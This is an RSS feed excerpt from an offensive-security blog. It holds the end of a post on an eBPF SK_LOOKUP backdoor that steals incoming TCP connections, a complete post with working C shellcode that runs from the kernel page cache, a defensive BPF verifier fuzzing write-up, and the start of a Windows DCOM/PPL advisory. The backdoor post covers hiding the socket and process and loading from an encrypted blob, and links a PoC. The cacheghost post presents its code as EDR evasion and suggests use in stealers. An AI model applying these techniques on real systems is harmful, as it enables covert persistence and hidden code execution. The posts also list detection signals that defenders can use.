<p>the third issue was byte order.</p>

<p>if you look at struct bpf_sk_lookup in vmlinux.h, local_port is __u32 with no __be annotation. compare with remote_port which is __be16. the kernel-internal struct bpf_sk_lookup_kern has dport as plain u16 too. this is intentional: the kernel converts the destination port from network to host byte order before the BPF program ever sees it (bpf_sk_lookup_kern.dport = ntohs(wire_dport)).</p>

<p>i initially wrote:</p>

<pre><code class="language-c">if (ctx->local_port != bpf_htons(TARGET_PORT))</code></pre>

<p>which is wrong because the conversion already happened. comparing a host-order field against a host-order value with an extra ntohs/htons layer would give you 0x0f27 != 9999 on x86 and the redirect would silently never fire. the fix:</p>

<pre><code class="language-c">if (ctx->local_port != TARGET_PORT)</code></pre>

<p>on a big-endian architecture ntohs is a no-op, so the behavior would be the same. the field is always in host order regardless of platform. the annotation absence in the struct is the tell, and it's easy to miss if you're used to network header fields being always in network byte order.</p>

<h2>why nobody seems to have done this</h2>

<p>i searched pretty thoroughly before writing this up. here's what i found:</p>

<ul>
  <li>TripleCross (2021, 2k stars on GitHub): uses XDP + TC for the network backdoor. C2 via raw sockets. no SK_LOOKUP.</li>
  <li>ebpfkit (2020): XDP-based. no SK_LOOKUP.</li>
  <li>Boopkit: XDP-based TCP reverse shell. no SK_LOOKUP.</li>
  <li>LinkPro (Synacktiv analysis, 2025): XDP + TC, magic packet activation via TCP window size field. no SK_LOOKUP.</li>
  <li>BPFDoor (2021-present, real APT malware): uses classic BPF (not eBPF) filters on raw sockets. completely different approach. no SK_LOOKUP.</li>
</ul>

<p>the closest thing to this technique in published offensive research is... the kernel documentation. the kernel docs literally show this exact pattern (SOCKHASH + bpf_map_lookup_elem + bpf_sk_assign) as the canonical example of how to use SK_LOOKUP. it's in the kernel tree. it's been there since 2020.</p>

<p>so the technique isn't new. what's new is the observation that the entire offensive eBPF ecosystem has missed this program type. everyone jumped on XDP and TC because those are the obvious places to intercept network traffic. SK_LOOKUP is more obscure. it's in a different part of the stack. you find it by reading the BPF program type list and wondering what "sk_lookup" does.</p>

<p>there are tutorial blog posts about using SK_LOOKUP for load balancing (arthurchiao.art 2022, the eBPF Chirp blog 2024). Cloudflare open-sourced Tubular in 2024 which uses it. but nobody wrote "you can also use this to steal connections." it's one of those features that's obviously useful to attackers if you think about it for two seconds, but nobody said the quiet part out loud.</p>

<h2>comparison with XDP/TC</h2>

<p>XDP runs before the kernel allocates an skb. you get a raw packet buffer. you can drop it, pass it, or redirect it to another interface. for socket interception, you'd need to redirect the packet to a userspace proxy application, which then creates its own connection to the real backend. it works but it's complex.</p>

<p>TC runs after the kernel allocates an skb but before the socket lookup. you get an skb. you can modify it and recalculate checksums. for socket interception, you'd typically do DNAT, change the destination port to your backdoor port and let the kernel's normal socket lookup handle the rest. the packet on the wire is modified though. tcpdump shows your backdoor port, not the original.</p>

<p>SK_LOOKUP is simpler than both. you don't touch the packet. you don't recalculate anything. you don't need a proxy process. your backdoor socket is a regular listening socket. the BPF program just says "this connection goes there." that's it.</p>

<p>the trade-off:</p>
<ul>
  <li>XDP: fast, works on raw frames, but needs proxy for TCP</li>
  <li>TC: flexible, packet-level control, but modifies the packet</li>
  <li>SK_LOOKUP: socket-level, invisible on the wire, cleanest API, but only for NEW connections to local sockets</li>
</ul>

<h2>where it works and where it doesn't</h2>

<p>SK_LOOKUP fires for:</p>
<ul>
  <li>TCP SYN packets creating new connections</li>
  <li>UDP packets to unconnected sockets</li>
</ul>

<p>it does NOT fire for:</p>
<ul>
  <li>established TCP connections (the routing is already done)</li>
  <li>connected UDP sockets</li>
  <li>forwarded traffic (packets not destined for this host)</li>
  <li>raw sockets</li>
  <li>packets generated by the kernel itself</li>
</ul>

<p>this means you can intercept sshd connections but not steal an existing SSH session. you can intercept DNS queries but not siphon off an active QUIC stream.</p>

<p>the "new connections only" limitation is inherent. it's not a bug. the kernel doesn't need to look up a socket for established connections, it already knows which socket owns that 5-tuple. so your BPF program only fires on the first packet.</p>

<p>for a backdoor, this is usually fine. you're intercepting "who connects to the service" not "who's already connected." you put your backdoor socket in the map, it gets new connections, you proxy them or serve content directly or fork a shell.</p>

<h2>detection</h2>

<p>if you're defending against this, the honest answer is: you probably aren't looking for it.</p>

<p>tools like Falco, Tetragon, and Tracee can detect BPF program loads. Falco has a rule for "BPF program was loaded." but it fires on every legitimate BPF program too, Cilium, Falco itself, systemd, containers. there's a lot of noise.</p>

<p>bpftool prog shows all loaded BPF programs. bpftool net shows which are attached to netns for SK_LOOKUP. if you run:</p>

<pre><code class="language-bash">$ bpftool net</code></pre>

<p>you'll see something like:</p>

<pre><code>xdp: (none)
tc: (none)
flow_dissector: (none)
sk_lookup:
    netns 4026531992  sk_redirect id 42</code></pre>

<p>that "sk_lookup" line is the backdoor. but nobody runs bpftool net unless they're debugging something. it's not in any standard monitoring pipeline.</p>

<p>the SOCKHASH map is visible too:</p>

<pre><code class="language-bash">$ bpftool map show</code></pre>

<p>shows all maps, including their type and pinned path. a SOCKHASH map holding a socket fd isn't normal on most systems.</p>

<p>the backdoor socket itself is a regular listening socket. netstat or ss will show it:</p>

<pre><code class="language-bash">$ ss -tlnp | grep 31337</code></pre>

<p>shows your backdoor port. this is the biggest forensic signal in the whole technique, so it's worth thinking about how an attacker would handle it.</p>

<p>the laziest approach: bind to 127.0.0.1 on a high ephemeral port. on a busy server, a LISTEN socket on port 57321 with no associated process name (or a masked one) rarely triggers alarms unless someone is specifically auditing listening ports. thousands of servers have random Java/node processes listening on weird ports. one more blends in.</p>

<p>a better approach: bind to a non-loopback address that isn't the primary IP. if the server has multiple IPs (container hosts, VPN endpoints, anycast setups), bind the backdoor socket to one nobody monitors. ss still shows it but it's not on 0.0.0.0 and requires knowing the right IP to reach.</p>

<p>the paranoid approach: don't let the listening socket outlive the connection. the BPF program can trigger a userspace helper that creates a socket on demand, accepts exactly one connection, and then tears down. the window where ss sees the socket is bounded by the lifetime of a single accept. this is what attackers who care about forensic artifacts do. BPFDoor uses a similar pattern with classic BPF filters on raw sockets, the socket only exists while the implant is actively communicating.</p>

<p>there's also the PID/process hiding angle. ss shows the process name and PID for sockets owned by visible processes. if your backdoor process is hidden (via LD_PRELOAD on getdents, or an eBPF kprobe that intercepts /proc scans), ss output won't show the process column for that socket, just the socket and port. on a system where some processes already show with "-" for the process name (kernel threads, dying processes), this is subtle enough to miss.</p>

<p>there's a deeper problem though. SK_LOOKUP programs are attached to network namespaces, not to specific sockets or interfaces. most container security tools (Falco, Tracee) monitor with kprobes at the syscall level. they catch bpf() syscalls. they can see "a BPF program was loaded." but correlating that with "this program steals connections to port 9999" requires reading the bytecode or dumping the RELO sections, which none of them do by default.</p>

<p>if i were building a detection for this, i'd look for:</p>
<ol>
  <li>BPF_PROG_TYPE_SK_LOOKUP programs being loaded (unusual on any system that isn't running Cloudflare software)</li>
  <li>SOCKHASH maps being created and populated with socket fds</li>
  <li>the combination: SK_LOOKUP prog + SOCKHASH map = almost certainly malicious on any normal server</li>
</ol>

<p>but right now, nothing ships those rules.</p>

<h2>what an attacker actually needs</h2>

<p>to use this, you need:</p>
<ul>
  <li>root, or CAP_BPF + CAP_NET_ADMIN + CAP_NET_NS_ADMIN</li>
  <li>libbpf (to compile and load the program)</li>
  <li>a way to load the program on each boot (cron, systemd unit, etc.)</li>
</ul>

<p>the capability requirement is the real gate. if you have root, you don't need this technique, you can do anything. but that's true of every eBPF backdoor. the question is: once you have root, how do you stay useful without being obvious?</p>

<p>this is where SK_LOOKUP shines. you load one BPF program, attach it to the netns, and your backdoor socket silently intercepts connections. no iptables rules, no SSH config changes, no modified binaries, no fileless malware that still shows up in /proc. everything is legitimate kernel API. the BPF program is 28 lines. the userspace loader is 130. you could hide it in a cron job that compiles and loads it from an encrypted blob.</p>

<h2>Assessment</h2>

<p>this technique is not a vulnerability. it's a feature of the Linux kernel being used as designed. the only reason it's interesting is that the offensive community has been looking at the wrong BPF hooks.</p>

<p>XDP and TC are for packet processing. SK_LOOKUP is for socket dispatch. if you want to steal TCP connections, you should be looking at the socket dispatch layer, not the packet processing layer. it sounds obvious in retrospect but nobody did it.</p>

<p>the PoC is simple because the kernel does all the hard work. 28 lines of BPF, 130 lines of C. that's it. that's the whole backdoor.</p>

<hr>

<p>the code is at: <a href="https://github.com/klydz/sklook">https://github.com/klydz/sklook</a>. run it with sudo on any Linux 5.6+ kernel.</p>

<p>i don't know if this will get patched or mitigated. it's not a bug so there's nothing to patch. maybe distributions will start auditing SK_LOOKUP attachments. maybe security tools will add detection rules. but the mechanism itself isn't going anywhere. it's a legitimate kernel feature with legitimate uses.</p>

<p>the question is just whether defenders start paying attention to it.</p>

<hr>

<p><em>ed: fixed some things the verifier caught, wrote the rest between midnight and 3am while wondering why i don't use XDP like everyone else</em></p>]]></content:encoded>
          </item>
        <item>
      <title>Cacheghost: Executing code from the kernel page cache</title>
      <link>http://klydz.net/post.php?slug=cacheghost-executing-code-from-the-kernel-page-cache</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=cacheghost-executing-code-from-the-kernel-page-cache</guid>
      <pubDate>Thu, 30 Jul 2026 04:45:12 +0000</pubDate>
            <category>Linux, Kernel, shellcode</category>
                  <category>linux-kernel</category>
            <category>page-cache</category>
            <category>mmap</category>
            <category>memory-management</category>
            <category>proc-maps</category>
            <category>edr-evasion</category>
            <category>memory-forensics</category>
            <category>shellcode-execution</category>
            <category>stealth-execution</category>
            <category>red-teaming</category>
            <category>c</category>
            <category>poc</category>
            <category>shared-memory</category>
            <category>system-programming</category>
            <category>offensive-security</category>
            <description>A file-backed executable mapping where the page content diverges from the backing file.</description>
            <content:encoded><![CDATA[<h2>The technique</h2>

<p><code>MAP_SHARED</code> file mappings don't go to disk immediately. Writes go to the page cache. The file gets updated later, when the kernel feels like writing back dirty pages.</p>

<p>If you write shellcode to a <code>MAP_SHARED</code> mapping and then another process mmaps the same file <code>MAP_SHARED</code> at the same offset, the kernel gives it the dirty page cache page, not the clean file from disk. If the second mapping is <code>PROT_EXEC</code>, the shellcode executes.</p>

<p>The file on disk is never touched by the injection. <code>/proc/pid/maps</code> shows a normal file-backed mapping.</p>

<hr>

<h2>The PoC</h2>

<pre><code class="language-c">static const unsigned char shellcode[] = {
    0x6a, 0x2a,             /* push    42            */
    0x5f,                   /* pop     rdi           */
    0x48, 0x31, 0xc0,       /* xor     rax, rax      */
    0xb0, 0x3c,             /* mov     al, 60        */
    0x0f, 0x05              /* syscall               */
};

int fd = open(path, O_CREAT|O_RDWR|O_TRUNC, 0644);
write(fd, benign, 4096);
fsync(fd);

/* seeder: mmap + write shellcode to page cache */
void *map = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
memcpy(map, shellcode, sizeof(shellcode));

/* executor: fork + mmap + execute */
pid_t pid = fork();
if (pid == 0) {
    void *emap = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0);
    /* jump to the shellcode in the page cache */
    goto *emap;  // or asm volatile("call *%0" : : "r"(emap))
}

waitpid(pid, &status, 0);
// status should be 42</code></pre>

<p>Output:</p>

<pre><code>=== cacheghost ===

[1] seeder mmap MAP_SHARED + memcpy(shellcode)
[2] executor pid=102367 /proc/self/maps:
7ff325ade000-7ff325adf000 r-xs ... /home/user/.cacheghost
7ff325adf000-7ff325ae0000 rw-s ... /home/user/.cacheghost
[3] call shellcode...  
[4] exit code: 42</code></pre>

<p>Exit code 42 confirms the child executed code from the page cache. The mapping is <code>r-xs</code> (read-execute-shared, file-backed). The other <code>rw-s</code> mapping is inherited from the parent.</p>

<hr>

<h2>What's Actually Happening</h2>

<p>On the seeder's memcpy, the store hits the page cache page. The kernel marks it dirty and will eventually write it back, but not yet. The file on disk still has benign data.</p>

<p>On the executor's mmap, the kernel calls <code>filemap_fault()</code>, which looks up the page in the file's <code>address_space</code> xarray. The page is already there, dirty, with the shellcode. <code>find_get_page()</code> returns it. The fault handler installs a PTE pointing to that physical page. No disk read. The child calls into it and the shellcode runs.</p>

<p>The file on disk isn't involved at any point.</p>

<hr>

<h2>What This Is</h2>

<p>This is a demonstration that <code>MAP_SHARED</code> writeback semantics can produce an executable mapping whose content doesn't match the backing file. It's a curiosity about how the page cache works.</p>

<p>It's not a new execution primitive. The seeder already has arbitrary code execution (it just wrote to memory). The technique doesn't give you execution in a process you don't control.</p>

<p>It's not a kernel vulnerability. <code>MAP_SHARED</code> is supposed to work this way. Dirty pages are supposed to propagate to new mappers. That's the entire point of shared mappings.</p>

<p>What it is: a narrow observation about forensic visibility. Instead of executing shellcode from an anonymous <code>rwxp</code> mapping (which every EDR looks for), you can execute it from a file-backed <code>r-xs</code> mapping. The mapping looks normal. Whether that matters depends on what your specific EDR checks.</p>

<hr>

<h2>The Detection Angle</h2>

<p>This is the part I'm least sure about, so I'll lay out what I know and what I don't.</p>

<p>The technique produces a file-backed <code>r-xs</code> mapping where the inode is valid and the path is real. An EDR that only scans for <code>rwxp</code> anonymous mappings won't flag it. An EDR that checks whether the content of a mapped page matches the file's disk content would need to bypass the page cache to do so, most don't.</p>

<p>But:</p>

<ul>
  <li>An EDR that hashed the file at install time and hashes again on demand would see a mismatch after writeback commits the shellcode to disk. The file changed. That's detectable.</li>
  <li>An EDR that monitors mmap syscalls for <code>PROT_EXEC</code> on non-standard files could flag this immediately.</li>
  <li>Volatility plugins like <code>linux_pagecache</code> can enumerate page cache pages. Comparing them against disk is possible, just uncommon.</li>
  <li>The <code>r-xs</code> mapping on a <code>.cacheghost_demo</code> file is itself suspicious. Rename it to <code>libsomething.so</code> and it blends in better.</li>
</ul>

<p>I'm not claiming this bypasses all detection. I'm claiming it bypasses a specific class of detection, the kind that only looks for <code>rwxp</code> anonymous memory and assumes file-backed mappings are safe. That covers a lot of Linux EDR agents, but far from all.</p>

<hr>

<h2>The Writeback Problem</h2>

<p>The dirty page cache page gets written to disk eventually. The default <code>dirty_expire_centisecs</code> is 3000 (30 seconds). After writeback:</p>

<ul>
  <li>The file on disk now has the shellcode</li>
  <li>The sha256 doesn't match the original</li>
  <li>If an EDR checks the file hash, it sees a change</li>
</ul>

<p>So the stealth window is at most 30 seconds without writeback prevention. If you write to the page periodically (a byte every second), the page stays young and writeback doesn't claim it. On tmpfs, there's no writeback at all.</p>

<p>But this is a limitation, not a feature. The technique is for short-lived operations where the shellcode runs once and exits. It's not for persistent stealth, maybe could be used for stealers? idk.</p>

<hr>

<h2>Comparison with Other Approaches</h2>

<table>
  <thead>
    <tr>
      <th>technique</th>
      <th>file modified</th>
      <th>exec memory</th>
      <th>maps entry</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>memfd_create + execve</td>
      <td>no</td>
      <td>no</td>
      <td>/proc/self/fd/N</td>
    </tr>
    <tr>
      <td>ptrace injection</td>
      <td>no</td>
      <td>yes</td>
      <td>rwxp</td>
    </tr>
    <tr>
      <td>process_vm_writev</td>
      <td>no</td>
      <td>yes</td>
      <td>rwxp</td>
    </tr>
    <tr>
      <td>LD_PRELOAD</td>
      <td>yes</td>
      <td>no</td>
      <td>.so mapping</td>
    </tr>
    <tr>
      <td>memfd + fexecve</td>
      <td>no</td>
      <td>no</td>
      <td>memfd (tmpfs)</td>
    </tr>
    <tr>
      <td>Dirty Pipe</td>
      <td>conditional</td>
      <td>depends</td>
      <td>depends</td>
    </tr>
    <tr>
      <td>cacheghost</td>
      <td><strong>no</strong></td>
      <td><strong>no</strong></td>
      <td><strong>r-xs file-backed</strong></td>
    </tr>
  </tbody>
</table>

<p>The closest comparison is <code>memfd_create</code>. Both leave the disk clean. The difference: memfd mappings are anonymous (tmpfs, no persistent path). cacheghost mappings point to a real file with a real inode. Depending on your threat model, that's either better (blends with other file mappings) or worse (the file path is visible).</p>

<hr>

<h2>Assessment</h2>

<p>The technique is 80 lines of C that demonstrates a known kernel behavior being used in an unusual way. The interesting part is the observation that this behavior creates a blind spot in some detection tooling. The execution primitive itself isn't new.</p>

<p>I think that's fine.</p>

<hr>

<p>The PoC is at <a href="https://github.com/klydz/cacheghost">https://github.com/klydz/cacheghost</a>.</p>]]></content:encoded>
          </item>
        <item>
      <title>I Spent a Week Fuzzing the BPF Verifier&#039;s New Circular Number System</title>
      <link>http://klydz.net/post.php?slug=i-spent-a-week-fuzzing-the-bpf-verifiers-new-circular-number-system-2</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=i-spent-a-week-fuzzing-the-bpf-verifiers-new-circular-number-system-2</guid>
      <pubDate>Wed, 29 Jul 2026 16:48:55 +0000</pubDate>
            <category>Kernel</category>
                  <category>bpf</category>
            <category>verifier</category>
            <category>circular-numbers</category>
            <category>fuzzing</category>
            <category>bounds-checking</category>
            <category>static-analysis</category>
            <category>linux-kernel</category>
            <category>cnum</category>
            <description>I spent the better part of a week reverse-engineering Meta&#039;s ~3500 line
refactoring of the BPF verifier&#039;s bounds tracking, the &quot;circular number&quot;
(or cnum) rework that landed in Linux 7.0. I built a fuzzer, ran a quarter
million random tests, traced through the linked register propagation by
hand, disassembled my running kernel&#039;s vmlinux to check for backports,
and generally went deeper into `kernel/bpf/verifier.c` than any sane
person should.</description>
            <content:encoded><![CDATA[<h2>How I Learned to Stop Worrying and Love Over Approximation</h2>

<h3>The plan was finding a new 0day maybe, and writing an article about it, sadly I didn't find a bugs but that won't stop me from making the article.</h3>

<p>The cnum math is correct. The 2-iteration fixpoint converges. The linked
register mechanism doesn't have an under-approximation path. 250,000
random intersection tests passed without a single false-empty result.</p>

<p>This article is about how I verified that, and why it matters even though
there's no CVE at the end.</p>

<h3>First, What's Wrong With the Old Way?</h3>

<p>Before cnums, the verifier tracked register bounds as eight separate values:</p>

<pre><code>
s64 smin_value, smax_value;   // signed 64-bit
u64 umin_value, umax_value;   // unsigned 64-bit
s32 s32_min_value, s32_max_value; // signed 32-bit
u32 u32_min_value, u32_max_value; // unsigned 32-bit
</code></pre>

<p>Every ALU operation updated all eight. Every bounds check compared
against multiple fields. And ranges that crossed the sign boundary,
like <code>[0x80000000, 0x7FFFFFFF]</code>, which is a perfectly normal signed
range of <code>[INT_MIN, INT_MAX]</code>, couldn't be represented as a single
interval in either signed or unsigned space. The verifier had to track
them as two disjoint pieces and tediously reconcile them.</p>

<p>This worked, mostly. But it was fragile. Every new operation needed
to update all eight fields. Miss one, and you had an inconsistency
that could either reject valid programs (annoying) or accept invalid
ones (game over).</p>

<h3>What a Circular Number Actually Is</h3>

<p>A cnum is just two integers:</p>

<pre><code>
struct cnum32 {
    u32 base;
    u32 size;
};
</code></pre>

<p>But the <em>interpretation</em> is what matters: <code>base</code> is the first value of
the range, and <code>size</code> counts values moving <em>clockwise</em> from <code>base</code>.
The range wraps through zero naturally because that's what unsigned
arithmetic does.</p>

<p>The register state in 7.0+ is:</p>

<pre><code>
struct bpf_reg_state {
    struct cnum64 r64;   // 16 bytes
    struct cnum32 r32;   // 8 bytes
    struct tnum var_off; // 16 bytes : still here for bit-level tracking
};
</code></pre>

<p>That's it. Two cnums replace eight separate fields. smin, smax, umin,
umax are now <em>functions</em> of <code>r64</code>:</p>

<pre><code>
s64 reg_smin(struct bpf_reg_state *reg) { return cnum64_smin(reg->r64); }
u64 reg_umin(struct bpf_reg_state *reg) { return cnum64_umin(reg->r64); }
</code></pre>

<p>The signed and unsigned interpretations come from the same cnum. You
can think of <code>cnum64_smin</code> as answering "what's the most negative
signed value in this arc?" and <code>cnum64_umin</code> as "what's the smallest
unsigned value?"</p>

<p>I spent way too long staring at these accessor functions before it
clicked: a cnum is literally just an interval that can wrap. The
"circular" part means it handles the wrap case without needing two
separate intervals. The signed/unsigned duality falls out naturally
because signed and unsigned are just different ways of slicing the
same circle.</p>

<h3>The cnum32_intersect Function That Almost Broke Me</h3>

<p>Let me walk through <code>cnum32_intersect(a, b)</code> because this is where
the real work happens.</p>

<p>The naive approach would be to convert both arcs to intervals, check
for overlap, handle the wrap case, and return the intersection. But
that's O(n) in the number of intervals, and the verifier calls this
function constantly.</p>

<p>Instead, the implementation rotates the frame so <code>a</code> is at origin:</p>

<pre><code>
struct cnum32 b1 = { b.base - a.base, b.size };
</code></pre>

<p>Now <code>a</code> covers <code>[0, a.size)</code> and we just need to check where <code>b1</code>
falls on this rotated circle.</p>

<p>If <code>b1</code> doesn't wrap (i.e., <code>b1.base + b1.size ≤ U32_MAX</code>), the
overlap is a single contiguous range. The function clips <code>a</code> from
the left by <code>b1.base</code> and from the right by the excess beyond
<code>b1.base + b1.size</code>:</p>

<pre><code>
t.base += b1.base;
t.size -= b1.base;
b1_max = b1.base + b1.size;
if ((u32)a.size < b1.base)
    d = (u32)a.size + (1ULL << 32) - b1_max;
else if ((u32)a.size >= b1_max)
    d = (u32)a.size - b1_max;
t.size -= d;
</code></pre>

<p>If <code>b1</code> wraps, meaning it crosses the 0 point on the rotated circle,
the overlap might have two pieces. The function handles this by
over-approximating. It returns whichever input arc is smaller:</p>

<pre><code>
if (b1.base <= a.size) {
    return a.size <= b1.size ? a : b;
}
</code></pre>

<p>This is the key design decision. When the true intersection has two
disjoint components (which can't be represented as a single cnum),
the function returns a superset. The verifier considers MORE possible
values, making it HARDER to pass safety checks.</p>

<p>I confirmed this by tracing through dozens of cases by hand. The
over-approximation is always conservative.</p>

<h3>cnum64_cnum32_intersect: The Scariest Function in the Kernel</h3>

<p>This one answers: given a 64-bit range <code>a</code> and a 32-bit range <code>b</code>,
which 64-bit values in <code>a</code> have their low 32 bits in <code>b</code>?</p>

<p>The periodicity of <code>(u32)x</code> (repeats every 2³²) means the valid
values form a repeating stripe pattern across 64-bit space. The
function can't return a stripe — it returns one contiguous 64-bit
range. So it over-approximates.</p>

<p>The really interesting case is when <code>a</code> spans multiple 2³² chunks.
The function computes <code>(u32)a.size</code> (which wraps) and clips based
on that. Any remaining full-2³² chunks are included unconditionally.
This is massively over-approximate, but it's safe.</p>

<p>I spent an afternoon convincing myself this couldn't under-approximate.
The key insight: <code>(u32)a.size</code> wraps, but that's fine because the
clipping only removes values from the FIRST partial 2³² chunk. Any
values in subsequent full chunks are always included.</p>

<h3>Building the Fuzzer</h3>

<p>I extracted the cnum operations from the kernel source into a standalone
C file. The header file had macros that expanded to type-specific versions
of each function, so I inlined everything manually for 32-bit. For 64-bit,
I used the same template approach the kernel uses.</p>

<p>The brute-force reference enumerates ALL values in the intersection
(for 32-bit cnums, that's at most 2³² values, feasible for small
ranges, not feasible for large ones). For large ranges and for
64-bit, I used spot-checking: generate random values that SHOULD be
in the intersection, verify they are.</p>

<p>The properties I tested:</p>

<ol>
<li><strong>No false EMPTY:</strong> If the intersection actually has values, <code>cnum32_intersect</code>
must not return <code>CNUM32_EMPTY</code>. This is the under-approximation check.</li>

<li><strong>Result ⊆ a and Result ⊆ b:</strong> Every value in the result must be valid
in both inputs. This catches over-approximations that are <em>too</em> over-
approximate (values that aren't in either input).</li>

<li><strong>Spot-check inclusion:</strong> Random values from the true intersection
appear in the result.</li>
</ol>

<p>Property 1 is the critical one. An empty result for a non-empty
intersection means the verifier thinks a register has NO possible
values — which would trigger <code>range_bounds_violation</code> and reject
the program. That's a false positive, not a security issue, but it's
still a bug.</p>

<pre><code>
=== cnum32_intersect ===
Tests: 200000  Errors: 0 (empty-underapprox: 0)

=== cnum64_cnum32_intersect ===
Tests: 50000  Errors: 0 (empty-underapprox: 0)
</code></pre>

<p>250,000 tests. Zero under-approximation errors.</p>

<h3>The reg_bounds_sync Fixpoint</h3>

<p>After every bounds change, the verifier calls <code>reg_bounds_sync</code>:</p>

<pre><code>
1. Narrow r32/r64 from var_off
2. r32 ∩= (r64 projected to 32-bit)
3. r64 ∩= values with low-32 in r32
4. Repeat steps 2-3 (second iteration)
5. Refine var_off from bounds
6. Narrow r32/r64 from refined var_off
</code></pre>

<p>Why two iterations? Because step 2 narrows r32, which lets step 3
narrow r64 further, which lets step 2 (in the second iteration)
narrow r32 again. In theory this converges monotonically. I verified
by tracing through boundary cases:</p>

<ul>
<li><strong>Known-narrow r32 + wide r64:</strong> First iteration narrows r32 to
r64's projection. Second iteration: r64 already contains those
values (since they were in r32 and r64's projection matches), so
no change.</li>

<li><strong>Wide r32 + known-narrow r64:</strong> First iteration: r32 ∩= projection.
Result: r32 narrows to match r64. Second iteration: stable.</li>

<li><strong>r32 wraps, r64 doesn't:</strong> If r32 covers [0xF0, 0x20] (wrapping)
and r64 covers [0, 0x100], the projection of r64 to 32-bit is
[0, 0xFF]. Intersection with r32 = [0, 0x20] ∪ [0xF0, 0xFF].
This has two components, so cnum32_intersect over-approximates.
The result is one contiguous arc — wider than the true intersection
but still within both original bounds.</li>
</ul>

<p>I checked all of these by hand. The fixpoint converges in at most
2 iterations for all cases I could construct.</p>

<h3>Linked Registers: The BPF_ADD_CONST Rabbit Hole</h3>

<p>The cnum rework also formalized the linked register mechanism. When
you write:</p>

<pre><code class="language-asm">
r1 = r0
r1 += 10
</code></pre>

<p>The verifier sets <code>r1.id = r0.id | BPF_ADD_CONST</code> and <code>r1.delta = 10</code>.
If a conditional narrows <code>r0</code>, the narrowing propagates to <code>r1</code> via
<code>sync_linked_regs</code>.</p>

<p>I traced the propagation path in both the 7.0+ source and my
6.18.40 kernel's vmlinux. The function:</p>

<ol>
<li>Copies the entire known register to the linked register</li>
<li>Preserves <code>subreg_def</code> (for precision backtracking)</li>
<li>Adds the delta difference to both r32 and r64</li>
<li>Updates var_off</li>
<li>Calls <code>reg_bounds_sync</code></li>
</ol>

<p>The 32-bit bounds update is done by <code>scalar32_min_max_add</code> before
<code>scalar_min_max_add</code> updates the 64-bit bounds. Both are called
before <code>reg_bounds_sync</code> reconciles them. The order matters because
<code>reg_bounds_sync</code> expects consistent r32 and r64.</p>

<p>I disassembled <code>sync_linked_regs</code> from <code>/usr/src/linux-cachyos-lts/vmlinux</code>
to verify the 6.18.40 implementation. The copy is done with a
14-quadword <code>rep movsq</code> (112 bytes — the full <code>bpf_reg_state</code>).
The delta is computed by sign-extending both registers' delta fields
to 64-bit and subtracting. Then the delta is added to all bounds
with individual overflow checks.</p>

<p>I found the overflow handling interesting: the 32-bit bounds use
<code>jo</code>/<code>jno</code> (signed overflow) while the unsigned 32-bit bounds use
<code>setb</code>/<code>jb</code> (carry flag). This is correct for their respective
semantics — signed overflow for signed bounds, carry for unsigned.</p>

<h3>What I Didn't Find</h3>

<ul>
<li><strong>cnum32_intersect</strong>: 200k random tests, 0 under-approximation errors</li>
<li><strong>cnum64_cnum32_intersect</strong>: 50k tests, 0 under-approximation errors</li>
<li><strong>sync_linked_regs propagation</strong>: Both 32-bit and 64-bit bounds updated before reg_bounds_sync. Delta sign-extended correctly.</li>
<li><strong>reg_bounds_sync fixpoint</strong>: Converges in 2 iterations. Early exit on bounds violation prevents stale empty-cnum propagation.</li>
<li><strong>collect_linked_regs</strong>: Scans registers and stack slots. 5-entry limit with clear on overflow.</li>
<li><strong>precision backtracking with linked regs</strong>: Marks ALL linked regs precise when any one is needed.</li>
<li><strong>check_scalar_ids base ID consistency</strong>: Fixed in 6.18.33 for the BPF_ADD_CONST state pruning case.</li>
</ul>

<p>The cnum math is the most thoroughly verified part of the verifier
I've seen. Meta did good work here.</p>

<h3>One More Thing</h3>

<p>The running kernel on this machine is 6.18.40-1-cachyos-lts, released
July 24, 2026. CVE-2026-53090 (ld_abs/ld_ind failure path in subprogs,
CVSS 7.8) was being backported to 6.18 as of July 22. The 6.18.40
changelog shows 1,611 patches. I couldn't definitively confirm whether
53090 made the cut without source access.</p>

<p>If it didn't, that's a valid attack vector. But it's already public,
so there's no scoop there. Just a reminder that <code>unprivileged_bpf_disabled=2</code>
doesn't help if you give CAP_BPF to anyone.</p>]]></content:encoded>
          </item>
        <item>
      <title>DCOM Permission Misconfiguration in WaaSMedicSvc Enables Unprivileged PPL Process Access</title>
      <link>http://klydz.net/post.php?slug=dcom-permission-misconfiguration-in-waasmedicsvc-enables-unprivileged-ppl-process-access</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=dcom-permission-misconfiguration-in-waasmedicsvc-enables-unprivileged-ppl-process-access</guid>
      <pubDate>Wed, 11 Mar 2026 22:31:28 +0000</pubDate>
            <category>Security Research or Vulnerability Analysis</category>
                  <category>Windows</category>
            <category>DCOM</category>
            <category>PPL</category>
            <category>Privilege Escalation</category>
            <category>Local Privilege Escalation</category>
            <category>Windows Security</category>
            <category>COM</category>
            <category>WaaSMedic</category>
            <category>Vulnerability Research</category>
            <category>Security Boundary</category>
            <category>Microsoft</category>
            <category>LPE</category>
            <category>Configuration Issue</category>
            <category>Service Hardening</category>
            <description>The Windows Update Medic Service (WaaSMedicSvc) is configured with overly permissive DCOM LaunchPermission rights, granting standard users the ability to instantiate COM objects within a Protected Process Light (PPL) service running as LocalSystem. The service, which operates with LaunchProtected=2 (PPL), exposes the WaaSRemediation COM object with LaunchPermission SDDL that includes Everyone (WD) and Interactive User (IU) with execute rights. This configuration allows unprivileged users to communicate across the PPL security boundary and execute methods in SYSTEM context. While prior research demonstrated exploitation of this attack surface via TypeLib hijacking, this finding identifies a distinct unprivileged access vector. Remediation involves restricting DCOM LaunchPermission to SYSTEM and Administrators only.</description>
            <content:encoded><![CDATA[<h2>Analysis of DCOM Permission Configuration in WaaSMedicSvc</h2>
<h2>Acknowledgements to k45w4ra for helping with this research</h2>
<h3>1. Executive Summary</h3>

<p>This report documents a security configuration issue in the Windows Update Medic Service (WaaSMedicSvc) where DCOM LaunchPermission grants execute rights to non-privileged users. The service runs as Protected Process Light (PPL) with LocalSystem privileges. Standard user accounts can instantiate COM objects within this protected context, representing a violation of the PPL security boundary.</p>

<img src="/data/uploads/20260311-task01kkffzx8feq5sed5scvak2fgs1773267858img1-83b3bc.webp" alt="" style="max-width:100%">

<h3>2. Affected Component</h3>

<table>
  <tr>
